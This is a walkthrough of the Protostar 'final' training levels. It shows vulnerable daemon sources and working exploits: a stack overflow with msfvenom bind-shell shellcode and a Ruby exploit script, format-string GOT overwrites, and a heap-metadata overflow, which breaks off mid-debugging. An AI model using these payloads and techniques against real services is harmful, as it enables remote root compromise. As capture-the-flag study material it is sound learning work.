Exploit-Exercises: Protostar (Final Levels)
Image: Exploit-Exercises: Protostar (v2)
user@protostar:~$ wget https://raw.githubusercontent.com/73696e65/gdbinit/master/gdb_init.txt --no-check-certificate -O ~/.gdbinit -q
Protostar Final0
#include "../common/common.c"
#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995
/*
* Read the username in from the network
*/
char *get_username()
{
char buffer[512];
char *q;
int i;
memset(buffer, 0, sizeof(buffer));
gets(buffer);
/* Strip off trailing new line characters */
q = strchr(buffer, '\n');
if(q) *q = 0;
q = strchr(buffer, '\r');
if(q) *q = 0;
/* Convert to lower case */
for(i = 0; i < strlen(buffer); i++) {
buffer[i] = toupper(buffer[i]);
}
/* Duplicate the string and return it */
return strdup(buffer);
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
username = get_username();
printf("No such user %s\n", username);
}
We attach to the process as root to find the offset with stored EIP.
# window1:
root@protostar:/tmp# gdb -q -ex 'set disassembly-flavor intel' -ex 'set follow-fork-mode child' -ex 'set detach-on-fork off' -x /home/user/.gdbinit -p 27474
Attaching to process 27474
...
gdb> c
[New process 27485]
# window2:
user@protostar:/tmp$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2A" | nc 0 2995
# window1:
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 27485]
_______________________________________________________________________________
eax:0804B008 ebx:35724134 ecx:00000000 edx:00000001 eflags:00010286
esi:00000000 edi:00000000 esp:BFFFF780 ebp:41367241 eip:72413772
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a P c
[007B:BFFFF780]---------------------------------------------------------[stack]
BFFFF7B0 : 01 00 00 00 54 F8 FF BF - 5C F8 FF BF 48 18 FE B7 ....T...\...H...
BFFFF7A0 : B0 98 04 08 00 00 00 00 - 28 F8 FF BF 76 DC EA B7 ........(...v...
BFFFF790 : 65 63 EC B7 40 10 FF B7 - 04 00 00 00 F4 7F FD B7 ec..@...........
BFFFF780 : 38 41 72 39 41 73 30 41 - 73 31 41 73 32 41 00 BF 8Ar9As0As1As2A..
[007B:0804B008]---------------------------------------------------------[ data]
0804B008 : 41 41 30 41 41 31 41 41 - 32 41 41 33 41 41 34 41 AA0AA1AA2AA3AA4A
0804B018 : 41 35 41 41 36 41 41 37 - 41 41 38 41 41 39 41 42 A5AA6AA7AA8AA9AB
[0073:72413772]---------------------------------------------------------[ code]
0x72413772: Error while running hook_stop:
Cannot access memory at address 0x72413772
0x72413772 in ?? ()
# window2:
root@kali32:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x72413772
[*] Exact match at offset 532
# window1:
gdb> i r
eax 0x804b008 0x804b008
ecx 0x0 0x0
edx 0x1 0x1
ebx 0x35724134 0x35724134
esp 0xbffff780 0xbffff780
ebp 0x41367241 0x41367241
esi 0x0 0x0
edi 0x0 0x0
eip 0x72413772 0x72413772
eflags 0x10286 [ PF SF IF RF ]
cs 0x73 0x73
ss 0x7b 0x7b
ds 0x7b 0x7b
es 0x7b 0x7b
fs 0x0 0x0
gs 0x33 0x33
gdb> x /x 0x804b008
0x804b008: 0x41304141
gdb> x /s 0x804b008
0x804b008: "AA0AA1AA2AA3AA4AA5AA6AA7AA8AA9AB0AB1AB2AB3AB4AB5AB6AB7AB8AB9AC0AC1AC2AC3AC4AC5AC6AC7AC8AC9AD0AD1AD2AD3AD4AD5AD6AD7AD8AD9AE0AE1AE2AE3AE4AE5AE6AE7AE8AE9AF0AF1AF2AF3AF4AF5AF6AF7AF8AF9AG0AG1AG2AG3AG4AG5AG"...
So EAX points at the beginning to the buffer and we are lucky, because there is also call eax
in binary.
root@kali32:~# /usr/share/metasploit-framework/msfelfscan -j eax final0
[final0]
0x08048d5f call eax
0x0804992b call eax
0x08054f4b call eax
0x08054f4b call eax
We use msfvenom
to generate bind shell, port 2449
, without newline characters and with uppercase encoding:
root@kali32:~# /usr/share/metasploit-framework/msfvenom -p linux/x86/shell_bind_tcp LPORT=2449 -e x86/alpha_upper -b '\x0a\x0d'
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 224 (iteration=0)
Payload size: 224 bytes
???t$?[SYIIICCCCCCCQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIFQYKL7JCQCQS1CSZTBK9KQNPCV8MK01K1N1B3XC2C0C9LQ2J4PF160K9KQCZ560X8MK0K91QTDH3DDX02F8MK0PC80RFHMMPZ3V9RJWOV8HMK0PIT9KHCX6OVOT3RHRHVOCRU9BNMYM30PPSLIKQNPDKXMK0AA
The lower case t
at the beginning of the payload is used in order to find the payload’s absolute location in memory and obtain a position-independent shellcode,
more here.
Because we can refer to this position also with the register eax
, we can get rid of lower case character:
root@kali32:~# /usr/share/metasploit-framework/msfvenom -p linux/x86/shell_bind_tcp LPORT=2449 -e x86/alpha_upper -b '\x0a\x0d' BufferRegister=EAX
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 217 (iteration=0)
Payload size: 217 bytes
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIVQIKJWZC0SQS0S3Z4BK9M1X0CVHMMP1KQN1B3XER5P39J1RJTPV10PLIM1SZCVV88MMPMYW1S4H3ETH0BFHMMPPCNP3VHMK0MC69SZ7OF8XMMPW9BYKHSXFOFOSCSX3X6O52RI2NK9ZC0P63MYM1X04K8MMPAA
Exploit:
#!/usr/bin/env ruby
require 'socket'
#root@kali32:~# /usr/share/metasploit-framework/msfelfscan -j eax final0
#[final0]
#0x08048d5f call eax
#0x0804992b call eax
#0x08054f4b call eax
#0x08054f4b call eax
#root@kali32:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x72413772
#[*] Exact match at offset 532
#root@kali32:~# /usr/share/metasploit-framework/msfvenom -p linux/x86/shell_bind_tcp LPORT=2449 -e x86/alpha_upper -b '\x0a\x0d' BufferRegister=EAX -f ruby
buf =
"\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a" +
"\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48" +
"\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51" +
"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43" +
"\x4a\x4a\x49\x36\x51\x49\x4b\x4c\x37\x4a\x43\x36\x33\x50" +
"\x43\x56\x33\x43\x5a\x53\x32\x4d\x59\x4d\x31\x48\x30\x33" +
"\x56\x58\x4d\x4d\x50\x31\x4b\x31\x4e\x31\x42\x42\x48\x54" +
"\x42\x35\x50\x53\x39\x4a\x31\x32\x4a\x32\x30\x46\x31\x56" +
"\x30\x4c\x49\x4d\x31\x52\x4a\x42\x46\x30\x58\x58\x4d\x4b" +
"\x30\x4d\x59\x31\x51\x44\x44\x38\x33\x55\x54\x4e\x50\x32" +
"\x46\x38\x4d\x4d\x50\x30\x43\x4e\x50\x45\x36\x38\x4d\x4b" +
"\x30\x5a\x33\x36\x39\x53\x5a\x47\x4f\x50\x58\x48\x4d\x4b" +
"\x30\x31\x59\x32\x59\x4a\x58\x45\x38\x36\x4f\x56\x4f\x32" +
"\x53\x53\x58\x35\x38\x46\x4f\x45\x32\x53\x59\x32\x4e\x4d" +
"\x59\x4a\x43\x36\x30\x56\x33\x4b\x39\x4d\x31\x58\x30\x44" +
"\x4b\x58\x4d\x4b\x30\x41\x41"
exploit = buf + "A" * (532 - buf.length)
exploit << [0x08048d5f].pack("V")
host = ARGV[0]
host ||= "192.168.80.154"
puts "Using host: #{host}"
s = TCPSocket.new host, 2995
s.puts(exploit)
s.close
user@protostar:/tmp$ ./exploit-final0.rb
Using host: 192.168.80.154
user@protostar:/tmp$ nc 0 2449
id
uid=0(root) gid=0(root) groups=0(root)
Protostar Final1
#include "../common/common.c"
#include <syslog.h>
#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994
char username[128];
char hostname[64];
void logit(char *pw)
{
char buf[512];
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);
syslog(LOG_USER|LOG_DEBUG, buf);
}
void trim(char *str)
{
char *q;
q = strchr(str, '\r');
if(q) *q = 0;
q = strchr(str, '\n');
if(q) *q = 0;
}
void parser()
{
char line[128];
printf("[final1] $ ");
while(fgets(line, sizeof(line)-1, stdin)) {
trim(line);
if(strncmp(line, "username ", 9) == 0) {
strcpy(username, line+9);
} else if(strncmp(line, "login ", 6) == 0) {
if(username[0] == 0) {
printf("invalid protocol\n");
} else {
logit(line + 6);
printf("login failed\n");
}
}
printf("[final1] $ ");
}
}
void getipport()
{
int l;
struct sockaddr_in sin;
l = sizeof(struct sockaddr_in);
if(getpeername(0, &sin, &l) == -1) {
err(1, "you don't exist");
}
sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
getipport();
parser();
}
We don’t use spaces to find our format string to have more spaces left for
exploit. Also, both username
and login
parameters are vulnerable, we use
username
to store shellcode and login
for overwriting GOT entry
for
puts()
. The line with timestamp is the entry from /var/log/syslog
file.
user@protostar:/tmp$ ruby -e 'print "username " + "A" * 109 + "BBBBCCCC" + "\nlogin " + "%p" * 70 + "\n"' | nc 0 2994
[final1] $ [final1] $ [final1] $ login failed
Jun 26 17:24:42 (none) final1: Login from 127.0.0.1:54427 as [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC] with password [0x8049ee40x804a2a00x804a2200xbffff7060xb7fd7ff40xbffff5580x69676f4c0x7266206e0x31206d6f0x302e37320x312e302e0x3434353a0x612037320x415b20730x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x424242420x434343430x6977205d0x702068740x777373610x2064726f0x2570255b0x257025700x257025700x257025700x257025700x257025700x257025700x257025700x257025700x257025700x257025700x257025700x25702570]
user@protostar:/tmp$ ruby -e 'print "username " + "A" * 109 + "BBBBCCCC" + "\nlogin " + "%p" * 43 + "\n"' | nc 0 2994
[final1] $ [final1] $ [final1] $ login failed
Jun 26 17:26:22 (none) final1: Login from 127.0.0.1:54434 as [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC] with password [0x8049ee40x804a2a00x804a2200xbffff7060xb7fd7ff40xbffff5580x69676f4c0x7266206e0x31206d6f0x302e37320x312e302e0x3434353a0x612034330x415b20730x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x414141410x424242420x43434343]
user@protostar:/tmp$ ruby -e 'print "username " + "A" * 109 + "BBBBCCCC" + "\nlogin " + "%42\$p%43\$p" + "\n"' | nc 0 2994
[final1] $ [final1] $ [final1] $ login failed
Jun 26 17:27:21 (none) final1: Login from 127.0.0.1:54435 as [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC] with password [0x424242420x43434343]
We have 109 bytes for shellcode, not much but it should be sufficient.
root@protostar:/tmp# objdump -t /opt/protostar/bin/final1 | grep username
0804a220 g O .bss 00000080 username
user@protostar:/tmp$ objdump -TR /opt/protostar/bin/final1 | grep puts
00000000 DF *UND* 00000000 GLIBC_2.0 puts
0804a194 R_386_JUMP_SLOT puts
In order to pass this challenge, we need to store the address 0x0804a220
to
0x0804a194
. Our formatter.rb
is the same script as in the protostar format
challenges.
user@protostar:/tmp$ ruby1.9.1 ./formatter.rb 42:0x0804a194:0x0804a220
ruby -e 'print [0x0804a196].pack("V") + [0x0804a194].pack("V") + "%42\$2044x%42\$hn%43\$39452x%43\$hn"'
Exploitation process:
# window1:
root@protostar:/tmp# gdb -q -ex 'set detach-on-fork off' -ex 'set follow-fork-mode child' -ex 'set disassembly-flavor intel' -ex 'run' /opt/protostar/bin/final1
Reading symbols from /opt/protostar/bin/final1...done.
Starting program: /opt/protostar/bin/final1
[New process 29349]
[New process 29352]
# window2:
user@protostar:/tmp$ ruby -e 'print "username " + "A" * 109 + [0x0804a196].pack("V") + [0x0804a194].pack("V") + "\nlogin " + "%42\$2044x%42\$hn%43\$39452x%43\$hn" + "\n"' | nc 0 2994
[final1] $ [final1] $ [final1] $ ^C
# window1:
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 29352]
0x08a1a2bd in ?? ()
(gdb) x /x 0x0804a194
0x804a194 <_GLOBAL_OFFSET_TABLE_+168>: 0x08a1a2bd
So, we have 0x08a1a2bd
instead of 0x0804a220
, let’s see the difference:
0x08a1-0x0804 = 157
0xa2bd-0xa220 = 157
Substracting 157
from 2044
, we got 1887
and that is the correct value, which we will use. Another try:
# window1:
root@protostar:/tmp# gdb -q -ex 'set detach-on-fork off' -ex 'set follow-fork-mode child' -ex 'set disassembly-flavor intel' -ex 'run' /opt/protostar/bin/final1
Reading symbols from /opt/protostar/bin/final1...done.
Starting program: /opt/protostar/bin/final1
[New process 29370]
[New process 29373]
# window2:
user@protostar:/tmp$ ruby -e 'print "username " + "A" * 109 + [0x0804a196].pack("V") + [0x0804a194].pack("V") + "\nlogin " + "%42\$1887x%42\$hn%43\$39452x%43\$hn" + "\n"' | nc 0 2994
[final1] $ [final1] $ [final1] $ ^C
# window1:
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 29373]
0x0804a28e in username ()
(gdb) x /x 0x0804a194
0x804a194 <_GLOBAL_OFFSET_TABLE_+168>: 0x0804a220
That’s correct, now we need to generate payload not longer than 109 bytes:
root@kali32:~# /usr/share/metasploit-framework/tools/payload_lengths.rb | awk ' $2<=100' | grep 'linux/x86'
linux/x86/adduser 97
linux/x86/chmod 36
linux/x86/exec 36
linux/x86/meterpreter/bind_ipv6_tcp 85
linux/x86/meterpreter/bind_nonx_tcp 63
linux/x86/meterpreter/find_tag 37
linux/x86/meterpreter/reverse_ipv6_tcp 77
linux/x86/meterpreter/reverse_nonx_tcp 50
linux/x86/read_file 62
linux/x86/shell/bind_ipv6_tcp 85
linux/x86/shell/bind_nonx_tcp 63
linux/x86/shell/find_tag 37
linux/x86/shell/reverse_ipv6_tcp 77
linux/x86/shell/reverse_nonx_tcp 50
linux/x86/shell_bind_ipv6_tcp 90
linux/x86/shell_bind_tcp 78
linux/x86/shell_bind_tcp_random_port 57
linux/x86/shell_find_port 62
linux/x86/shell_find_tag 69
linux/x86/shell_reverse_tcp 68
root@kali32:~# /usr/share/metasploit-framework/msfvenom -p linux/x86/shell_bind_tcp LPORT=2450 -b '\x0a\x0d\x00' -f sh
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 105 (iteration=0)
Payload size: 105 bytes
export buf=\
$'\xda\xd9\xbd\xfe\xa6\x57\x8e\xd9\x74\x24\xf4\x5a\x31\xc9'\
$'\xb1\x14\x83\xc2\x04\x31\x6a\x15\x03\x6a\x15\x1c\x53\x66'\
$'\x55\x17\x7f\xda\x2a\x84\xea\xdf\x25\xcb\x5b\xb9\xf8\x8b'\
$'\xc7\x18\x51\xe3\xf5\xa4\x5c\x61\x93\xb4\x0f\xd5\xed\x54'\
$'\xc5\xb3\xb5\x5b\x9a\xb2\x07\x60\x28\xc0\x37\x0e\x83\x48'\
$'\x74\x7f\x7d\x85\xfb\xec\xdb\x7f\xc3\x4a\x11\xff\x72\x12'\
$'\x51\x97\xab\xcb\xd2\x0f\xdc\x3c\x77\xa6\x72\xca\x94\x68'\
$'\xd8\x45\xbb\x38\xd5\x98\xbc'
user@protostar:/tmp$ export buf=\
> $'\xda\xd9\xbd\xfe\xa6\x57\x8e\xd9\x74\x24\xf4\x5a\x31\xc9'\
> $'\xb1\x14\x83\xc2\x04\x31\x6a\x15\x03\x6a\x15\x1c\x53\x66'\
> $'\x55\x17\x7f\xda\x2a\x84\xea\xdf\x25\xcb\x5b\xb9\xf8\x8b'\
> $'\xc7\x18\x51\xe3\xf5\xa4\x5c\x61\x93\xb4\x0f\xd5\xed\x54'\
> $'\xc5\xb3\xb5\x5b\x9a\xb2\x07\x60\x28\xc0\x37\x0e\x83\x48'\
> $'\x74\x7f\x7d\x85\xfb\xec\xdb\x7f\xc3\x4a\x11\xff\x72\x12'\
> $'\x51\x97\xab\xcb\xd2\x0f\xdc\x3c\x77\xa6\x72\xca\x94\x68'\
> $'\xd8\x45\xbb\x38\xd5\x98\xbc'
user@protostar:/tmp$ ruby -e 'print "username " + ENV["buf"] + "A" * (109-105) + [0x0804a196].pack("V") + [0x0804a194].pack("V") + "\nlogin " + "%42\$1887x%42\$hn%43\$39452x%43\$hn" + "\n"' | nc 0 2994
[final1] $ [final1] $ [final1] $ ^C
user@protostar:/tmp$ nc 0 2450
id
uid=0(root) gid=0(root) groups=0(root)
Protostar Final2
#include "../common/common.c"
#include "../common/malloc.c"
#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993
#define REQSZ 128
void check_path(char *buf)
{
char *start;
char *p;
int l;
/*
* Work out old software bug
*/
p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ? "yes" : "no", start - buf);
}
}
}
int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;
dll = 0;
while(1) {
if(dll >= 255) break;
buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;
if(strncmp(buf, "FSRD", 4) != 0) break;
check_path(buf + 4);
dll++;
}
for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
get_requests(fd);
}
The vulnerability is in this part of the source:
p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ? "yes" : "no", start - buf);
}
}
It expects message with the content ..../..ROOT.../next
, look for the rightmost /
,
then searching for string ROOT
and going leftside, it finds another /
.
Finally, it copies /next
after the left /
, before ROOT
and creates ..../next\x00T...
We need at least one slash, because strlen(NULL)
segfaults. The security issue
is that if we don’t set left slash, it continues to the left through different
chunk, for example:
1st chunk: "FSRD" + "0" * 123 + "/"
2nd chunk: "FSRD" + "ROOT/" + [0xfffffff8].pack("V") + [0xfffffffc].pack("V") + "AAAABBBB" + "X" * 103
3rd chunk: "XXXX"
In this case we copy everything after ROOT/
to the 1st chunk and overwrite the chunk metadata, so we have classic heap overflow.
To verify our concept, we attach to the final2 process as root user:
# window 1:
root@protostar:/tmp# gdb -q -ex 'set disassembly-flavor intel' -ex 'set follow-fork-mode child' -ex 'set detach-on-fork off' -x /home/user/.gdbinit -ex 'c' -p 1627
# window 2:
user@protostar:/tmp$ ruby -e 'print "FSRD" + "0" * 123 +"/" + "FSRD" + "ROOT/" + [0xfffffff8].pack("V") + [0xfffffffc].pack("V") + "AAAABBBB" + "X" * 107' | nc 0 2993
# window 1:
[New process 2405]
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 2405]
_______________________________________Current language: auto
The current source language is "auto; currently c".
________________________________________
eax:41414141 ebx:B7FD7FF4 ecx:0804C2D6 edx:42424242 eflags:00010246
esi:00000000 edi:00000000 esp:BFFFF7E0 ebp:BFFFF828 eip:0804AAEF
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t s Z a P c
[007B:BFFFF7E0]---------------------------------------------------------[stack]
BFFFF810 : 42 42 42 42 41 41 41 41 - 18 E1 04 08 18 E1 04 08 BBBBAAAA........
BFFFF800 : 88 E0 04 08 FC FF FF FF - 00 00 00 00 10 E1 04 08 ................
BFFFF7F0 : 00 D5 04 08 00 E0 04 08 - 88 00 00 00 45 BD 04 08 ............E...
BFFFF7E0 : 00 00 00 00 00 00 00 00 - 28 F8 FF BF 68 B5 04 08 ........(...h...
[007B:41414141]---------------------------------------------------------[ data]
41414141 : Error while running hook_stop:
Cannot access memory at address 0x41414141
0x0804aaef in free (mem=0x804e008) at final2/../common/malloc.c:3648
3648 final2/../common/malloc.c: No such file or directory.
in final2/../common/malloc.c
gdb> i r eax edx
eax 0x41414141 0x41414141
edx 0x42424242 0x42424242
gdb> x /i $eip
0x804aaef <free+301>: mov DWORD PTR [eax+0xc],edx
gdb> x /50x 0x804e010
0x804e010: 0x30303030 0x30303030 0x30303030 0x30303030
0x804e020: 0x30303030 0x30303030 0x30303030 0x30303030
0x804e030: 0x30303030 0x30303030 0x30303030 0x30303030
0x804e040: 0x30303030 0x30303030 0x30303030 0x30303030
0x804e050: 0x30303030 0x30303030 0x30303030 0x30303030
0x804e060: 0x30303030 0x30303030 0x30303030 0x30303030
0x804e070: 0x30303030 0x30303030 0x30303030 0x30303030
0x804e080: 0x30303030 0x2f303030 0xfffffff8 0xfffffffc
0x804e090: 0x41414141 0x42424242 0x58585858 0x58585858
0x804e0a0: 0x58585858 0x58585858 0x58585858 0x58585858
0x804e0b0: 0x58585858 0x58585858 0x58585858 0x58585858
0x804e0c0: 0x58585858 0x58585858 0x58585858 0x58585858
0x804e0d0: 0x58585858 0x58585858
We use GOT
technique, modifing write
and the shellcode will be stored in our first chunk (0x804e010
).
root@protostar:/tmp# objdump -TR /opt/protostar/bin/final2 | grep "R_386_JUMP_SLOT.* write"
0804d41c R_386_JUMP_SLOT write
(gdb) print /x 0x0804d41c-0x0c
$1 = 0x804d410
So we need to write 0x804e010
to 0x804d41c
.
To check where are usable data in our buffer, we use metasploit pattern:
# window 1:
root@protostar:/tmp# gdb -q -ex 'set disassembly-flavor intel' -ex 'set follow-fork-mode child' -ex 'set detach-on-fork off' -x /home/user/.gdbinit -ex 'c' -p 1627
# window 2:
user@protostar:/tmp$ ruby -e 'print "FSRD" + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0" + "/" + "FSRD" + "ROOT/" + [0xfffffff8].pack("V") + [0xfffffffc].pack("V") + [0x804d410].pack("V") + [0x804e010].pack("V") + "X" * 107' | nc 0 2993
# window 1:
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 2427]
_______________________________________________________________________________
eax:B7FFEFF4 ebx:B7FE1848 ecx:FFFFFFFF edx:0013F1CC eflags:00010286
esi:BFFFF91C edi:00000001 esp:BFFFF8AC ebp:B7FEBFC6 eip:0804E026
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a P c
[007B:BFFFF8AC]---------------------------------------------------------[stack]
BFFFF8DC : FA 90 04 08 FC F8 FF BF - 05 00 00 00 00 00 00 00 ................
BFFFF8CC : 11 00 20 01 00 00 00 00 - 28 67 E9 B7 08 F9 FF BF .. .....(g......
BFFFF8BC : B0 FA FF B7 A7 D8 F2 B7 - 01 00 00 00 01 00 00 00 ................
BFFFF8AC : E7 88 04 08 01 00 00 00 - F0 F8 FF BF 26 06 FF B7 ............&...
[007B:BFFFF91C]---------------------------------------------------------[ data]
BFFFF91C : 7B 00 00 00 7B 00 00 00 - 28 67 E9 B7 00 00 00 00 {...{...(g......
BFFFF92C : 18 FC FF BF EC FB FF BF - 11 00 20 01 00 00 00 00 .......... .....
[0073:0804E026]---------------------------------------------------------[ code]
0x804e026: cmp BYTE PTR [ecx+0x61],al
0x804e029: cmp DWORD PTR [ecx+0x62],eax
0x804e02c: xor BYTE PTR [ecx+0x62],al
0x804e02f: xor DWORD PTR [ecx+0x62],eax
0x804e032: xor al,BYTE PTR [ecx+0x62]
0x804e035: xor eax,DWORD PTR [ecx+0x62]
------------------------------------------------------------------------------
0x0804e026 in ?? ()
gdb> x /50x 0x804e010
0x804e010: 0x61413161 0x33614132 0x0804d410 0x61413561
0x804e020: 0x37614136 0x41386141 0x62413961 0x31624130
0x804e030: 0x41326241 0x62413362 0x35624134 0x41367241
0x804e040: 0x62413762 0x39624138 0x41306341 0x63413163
0x804e050: 0x33634132 0x41346341 0x63413563 0x37634136
0x804e060: 0x41386341 0x64413963 0x3584d130 0x41326449
0x804e070: 0x64413364 0x35644134 0x41366441 0x64413764
0x804e080: 0x39644138 0x00000084 0xfffffff8 0xfffffffc
0x804e090: 0x0804d410 0x0804e010 0x58585858 0x58585858
0x804e0a0: 0x58585858 0x58585858 0x58585858 0x58585858
0x804e0b0: 0x58585858 0x58585858 0x58585858 0x58585858
0x804e0c0: 0x58585858 0x58585858 0x58585858 0x58585858
0x804e0d0: 0x58585858 0x58585858
root@kali32:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x61413161
[*] Exact match at offset 4
root@kali32:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x61413561
[*] Exact match at offset 16
root@kali32:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x39644138
[*] Exact match at offset 116
Our code starts at pattern offset 4
. There is also modification in the first 12
bytes, we use 2
bytes instruction and skip next 10
bytes, using \xeb\x0a
opcode.
After another segfault, we have in gdb:
root@protostar:/tmp# gdb -q -ex 'set disassembly-flavor intel' -ex 'set follow-fork-mode child' -ex 'set detach-on-fork off' -x /home/user/.gdbinit -ex 'c' -p 1627
user@protostar:/tmp$ ruby -e 'print "FSRD" + "Aa0A" + "\xeb\x0a" + "X" * 10 + "a5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0" + "/" + "FSRD" + "ROOT/" + [0xfffffff8].pack("V") + [0xfffffffc].pack("V") + [0x804d410].pack("V") + [0x804e010].pack("V") + "X" * 107' | nc 0 2993
gdb> x /i 0x804e010
0x804e010: jmp 0x804e01c
gdb> x /30x 0x804e01c
0x804e01c: 0x61413561 0x37614136 0x41386141 0x62413961
0x804e02c: 0x31624130 0x41326241 0x62413362 0x35624134
0x804e03c: 0x41366241 0x62413762 0x39624138 0x41306341
0x804e04c: 0x63413163 0x33634132 0x41346341 0x63413563
0x804e05c: 0x37634136 0x41386341 0x64413963 0x31644130
0x804e06c: 0x41326441 0x64413364 0x35644134 0x41366441
0x804e07c: 0x64413764 0x39644138 0x00000084 0xfffffff8
0x804e08c: 0xfffffffc 0x0804d410
